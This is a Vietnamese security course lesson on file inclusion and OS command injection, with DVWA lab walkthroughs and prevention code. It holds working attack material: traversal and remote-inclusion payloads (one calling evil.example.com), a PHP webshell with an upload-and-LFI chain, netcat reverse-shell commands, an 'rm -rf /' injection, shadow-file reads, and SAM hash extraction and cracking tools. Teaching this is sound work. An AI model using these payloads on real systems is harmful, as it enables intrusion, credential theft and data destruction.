Bài 6: File Inclusion & OS Command Injection


1. File Inclusion

1.1. Giới thiệu

File Inclusion là một lớp lỗ hổng xuất hiện khi ứng dụng web sử dụng tham số từ request của người dùng để quyết định file nào sẽ được load hoặc thực thi phía server. Nếu không có cơ chế kiểm tra đầu vào, kẻ tấn công có thể:

  • Buộc server hiển thị nội dung của file tùy ý (file hệ thống, file cấu hình…)
  • Buộc server thực thi mã độc trong file do kẻ tấn công kiểm soát

Ví dụ điển hình trong PHP, các hàm sau là nguyên nhân trực tiếp:

include();
require();
include_once();
require_once();

Khi ứng dụng viết kiểu này mà không kiểm tra $file:

$file = $_GET['file'];
include('directory/' . $file);

Kẻ tấn công chỉ cần truyền vào URL:

http://example.com/?file=../../../../etc/passwd

1.2. Phân loại

File nằm trên chính web server.

Kẻ tấn công thao túng tham số để trỏ đến các file nội bộ trên hệ thống mà lẽ ra không được phép truy cập.

Ví dụ khai thác:

/vulnerable.php?language=../../../../../etc/passwd

Kỹ thuật ../ (dot-dot-slash) cho phép leo lên các thư mục cha, còn gọi là Directory Traversal hay Path Traversal.

Các biến thể:

# Dùng ký tự NULL byte để bỏ phần mở rộng file (PHP < 5.3.4)
/vulnerable.php?language=C:\notes.txt%00

# Kết hợp với file đã upload lên server
/vulnerable.php?language=C:\ftp\upload\exploit

# Trên Linux leo thư mục
/vulnerable.php?language=../../../../../../etc/passwd%00

File nằm bên ngoài web server, trên một server do kẻ tấn công kiểm soát.

Đây là dạng nguy hiểm hơn vì file được include có thể chứa server-side code (PHP, JSP…), dẫn đến Remote Code Execution (RCE) – thực thi lệnh tùy ý từ xa.

Ví dụ:

/vulnerable.php?language=http://evil.example.com/webshell.txt?

1.3. File Inclusion trong PHP – Chi tiết

Ví dụ code dễ bị tấn công

<?php
if (isset($_GET['language'])) {
    include($_GET['language'] . ".php");
}
?>

<form method="get">
  <select name="language">
    <option value="english">English</option>
    <option value="french">French</option>
  </select>
  <input type="submit">
</form>

Ý định ban đầu: người dùng chọn english → server include english.php. Nhưng vì không kiểm tra, kẻ tấn công có thể truyền bất kỳ đường dẫn nào.

Directory Traversal

/vulnerable.php?language=../../../../../etc/passwd%00

Kỹ thuật này di chuyển ngược lên cây thư mục bằng ../, rồi trỏ đến file mục tiêu.

RFI – Remote File Inclusion

http://www.certifiedhacker.com/orders.php?DRINK=http://jasoneval.com/exploit?
<?php
$drink = $_GET['DRINK'];
require($drink . ".php");
?>

Server sẽ tải file từ jasoneval.com về và thực thi như code PHP — kẻ tấn công hoàn toàn kiểm soát được nội dung file đó.


1.4. Giải pháp phòng chống File Inclusion trong PHP

switch ($_GET['language']) {
    case 'english':
        include('english.php');
        break;
    case 'french':
        include('french.php');
        break;
    default:
        include('default.php');
}

Đây là cách an toàn nhất: chỉ những giá trị được liệt kê mới được xử lý.

$available_languages = array('eng', 'nor', 'ger');
$language = $_GET['language'];

if (in_array($language, $available_languages)) {
    include($language . '.php');
} else {
    die("Invalid language.");
}
$language = $_GET['language'];
if (strlen($language) < 4) {
    include($language . '.php');
}

Đây là biện pháp phụ trợ, không nên dùng một mình vì kẻ tấn công có thể dùng tên file ngắn.


1.5. File Inclusion trong JSP

Tương tự PHP, JSP cũng dễ bị tấn công nếu dùng tham số từ request để include file:

<%
    String p = request.getParameter("p");
%>
<%@ include file="<%= "includes/" + p + ".jsp" %>" %>

Khai thác:

/vulnerable.jsp?p=../../../../var/log/access.log%00

1.6. Directory Traversal – Tổng quan

Directory Traversal (hay Path Traversal) cho phép kẻ tấn công truy cập các file ngoài thư mục gốc của web server bằng cách thao túng đường dẫn file.

http://www.certifiedhacker.com/process.php?file=../../../../etc/passwd
sequenceDiagram participant Attacker participant WebServer participant FileSystem Attacker->>WebServer: GET /process.php?file=../../../../etc/passwd WebServer->>FileSystem: open("/var/www/html/../../../../etc/passwd") FileSystem-->>WebServer: nội dung /etc/passwd WebServer-->>Attacker: trả về nội dung file

1.7. File Password trên Linux và Windows

/etc/passwd – Lưu thông tin tài khoản người dùng (không chứa password thật):

smithj:x:561:561:Joe Smith:/home/smithj:/bin/bash

Các trường: username : password_placeholder : UID : GID : comment : home_dir : shell

/etc/shadow – Chứa mật khẩu đã được hash, chỉ root mới đọc được:

smithj:$p$6mckrOLChF...:10063:0:99999:7:::
  • Mật khẩu Windows lưu tại: C:\Windows\System32\config\SAM
  • Không thể đọc trực tiếp khi Windows đang chạy (bị khóa bởi OS).

Cách lấy file SAM:

  • Dùng công cụ fgdump từ console quản trị.
  • Sniff NTLM hash khi xác thực qua mạng (Pass-the-Hash attack).
  • Boot từ live USB để đọc file SAM khi Windows không chạy.

Crack file SAM:

  • Cain and Abel – crack offline bằng rainbow table.
  • John the Ripper – brute-force / dictionary attack.
  • Hashcat – GPU-accelerated cracking (phổ biến hơn hiện nay).

Bảo vệ bằng SYSKEY: Mã hóa thêm một lớp lên file SAM, nhưng kỹ thuật này cũng đã bị bypass trong một số công cụ tấn công nâng cao.


2. Abusing File Inclusions kết hợp Upload

2.1. Mô tả tấn công

Kịch bản: ứng dụng có hai tính năng riêng biệt:

  1. Upload file (được kiểm tra loại file, ví dụ chỉ cho phép ảnh).
  2. File Inclusion (dễ bị khai thác LFI).

Kẻ tấn công kết hợp cả hai để upload shell giả dạng ảnh, rồi dùng LFI để thực thi shell đó.

flowchart TD A[Tạo webshell.php] --> B[Đổi tên thành webshell.jpg] B --> C[Upload webshell.jpg lên server] C --> D[Tạo rename.php đổi .jpg thành .php] D --> E[Đổi tên rename.php thành rename.jpg, upload] E --> F[Dùng LFI thực thi rename.jpg] F --> G[rename.jpg chạy → webshell.jpg đổi thành webshell.php] G --> H[Dùng LFI include webshell.php] H --> I[Thực thi lệnh hệ thống tùy ý]

2.2. Thực hành trên DVWA (mức Medium)

Bước 1: Tạo file webshell.php:

<?php
system($_GET['cmd']);
echo '<form method="get" action="../../hackable/uploads/webshell.php">
    <input type="text" name="cmd"/>
</form>';
?>

Bước 2: Tạo file rename.php để đổi tên file:

<?php
system('mv ../../hackable/uploads/webshell.jpg ../../hackable/uploads/webshell.php');
?>

Bước 3: Đổi tên webshell.phpwebshell.jpg, rename.phprename.jpg rồi upload cả hai.

Bước 4: Dùng LFI để thực thi rename.jpg (thực ra là PHP):

?page=../../hackable/uploads/rename.jpg

Bước 5: Include webshell.php vừa được tạo ra:

?page=../../hackable/uploads/webshell.php

Bước 6: Nhập lệnh vào textbox, ví dụ:

/sbin/ifconfig

2.3. Mở rộng – Reverse Shell bằng NetCat

nc -lp 12345 -e /bin/bash

Lệnh này:

  • Mở cổng TCP 12345 trên server và lắng nghe kết nối đến.
  • Khi có kết nối, gắn /bin/bash vào socket → kẻ tấn công từ xa có thể gõ lệnh như đang ở terminal server.

2.4. Kiểm tra và ngăn chặn upload file

// Kiểm tra image header thật sự
$imageInfo = getimagesize($_FILES['upload']['tmp_name']);
if ($imageInfo === false) {
    die("File không phải ảnh hợp lệ.");
}

// Kiểm tra MIME type
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
if (!in_array($imageInfo['mime'], $allowedTypes)) {
    die("Loại file không được phép.");
}

// Giới hạn kích thước
if ($_FILES['upload']['size'] > 500000) {
    die("File quá lớn.");
}

3. OS Command Injection

3.1. Giới thiệu

OS Command Injection (Shell Injection) là lỗ hổng cho phép kẻ tấn công thực thi lệnh hệ điều hành tùy ý trên máy chủ thông qua lỗ hổng của ứng dụng web.

Nguyên nhân: Ứng dụng truyền trực tiếp dữ liệu từ người dùng vào system shell mà không kiểm tra, dẫn đến kẻ tấn công có thể chèn thêm lệnh.


3.2. Ví dụ trong PHP

<?php
print("Please specify the name of the file to delete");
print("<p>");
$file = $_GET['filename'];
system("rm $file");
?>

Khi kẻ tấn công truyền vào:

http://127.0.0.1/delete.php?filename=bob.txt; id

Lệnh thực tế server chạy sẽ là:

rm bob.txt; id

Kết quả trả về:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Dấu ; trong shell Unix cho phép nối nhiều lệnh tuần tự. Ngoài ra còn có:

Ký tựÝ nghĩa
;Chạy lệnh tiếp theo bất kể lệnh trước thành công hay thất bại
&&Chạy lệnh tiếp theo chỉ khi lệnh trước thành công
||Chạy lệnh tiếp theo chỉ khi lệnh trước thất bại
|Pipe — đưa output lệnh trước làm input lệnh sau
` hoặc $()Command substitution — nhúng output vào chuỗi

3.3. Ví dụ trong C

#include <stdio.h>
#include <unistd.h>

int main(int argc, char **argv) {
    char cat[] = "cat ";
    char *command;
    size_t commandLength;

    commandLength = strlen(cat) + strlen(argv[1]) + 1;
    command = (char *)malloc(commandLength);
    strncpy(command, cat, commandLength);
    strncat(command, argv[1], commandLength - strlen(cat));

    system(command);
    return 0;
}

Nếu người dùng truyền vào argv[1]file.txt; rm -rf /, toàn bộ hệ thống có thể bị xóa.


3.4. Thực hành trên DVWA

Bước 1: Vào mục Command Execution trong DVWA, thử ping một IP bình thường.

Bước 2: Inject lệnh đơn giản để kiểm tra:

127.0.0.1; uname -a

Nếu thấy output của uname → lỗ hổng tồn tại.

Bước 3: Kiểm tra NetCat có sẵn không:

; ls /bin/nc*

Bước 4: Trên máy Kali (máy tấn công), mở port lắng nghe:

nc -lp 1691 -v

Bước 5: Trên trình duyệt, inject lệnh để server kết nối ngược về máy Kali:

; nc.traditional -e /bin/bash <IP_Kali> 1691 &

Đây là kỹ thuật reverse shell: server chủ động kết nối ra ngoài (bypass firewall dễ hơn bind shell).

Bước 6: Quay lại terminal Kali, thực hiện lệnh:

whoami
pwd
ls
cat /etc/passwd
sequenceDiagram autonumber participant A as Kali_Attacker participant B as Browser participant S as DVWA_Server Note over A: nc -lp 1691 -v B->>S: Gui yeu cau doc hai qua URL Note right of S: Thuc thi Reverse Shell lệnh:
nc.traditional -e bin-bash S->>A: Ket noi TCP den port 1691 rect rgb(200, 255, 200) Note over A, S: Tuong tac qua Reverse Shell A->>S: whoami S-->>A: www-data A->>S: cat etc-shadow S-->>A: (Noi dung file shadow) end

Hay

sequenceDiagram autonumber actor A as Kali (Attacker) participant B as Browser participant S as Web Server Note over A: nc -lp 1691 -v A->>B: Nhập payload vào input B->>S: Gửi request chứa payload S->>A: Kết nối ngược (Reverse Shell)

3.5. Phòng chống OS Command Injection

// Dùng escapeshellarg() để escape toàn bộ argument
$filename = escapeshellarg($_GET['filename']);
system("rm " . $filename);

// Hoặc escapeshellcmd() để escape toàn bộ lệnh
$cmd = escapeshellcmd("rm " . $_GET['filename']);
system($cmd);
  • Không bao giờ truyền trực tiếp input người dùng vào system(), exec(), shell_exec(), popen(), passthru().
  • Dùng whitelist: chỉ chấp nhận các ký tự/giá trị cụ thể (ví dụ: chỉ cho phép IP hợp lệ khi ping).
  • Sử dụng API cấp cao thay vì gọi shell — ví dụ dùng thư viện ping trong Python thay vì os.system("ping ...").
  • Chạy web server với quyền tối thiểu (principle of least privilege).
  • Bật SELinux / AppArmor để giới hạn những gì tiến trình web server được làm.

4. Câu hỏi ôn tập


5. Tài liệu tham khảo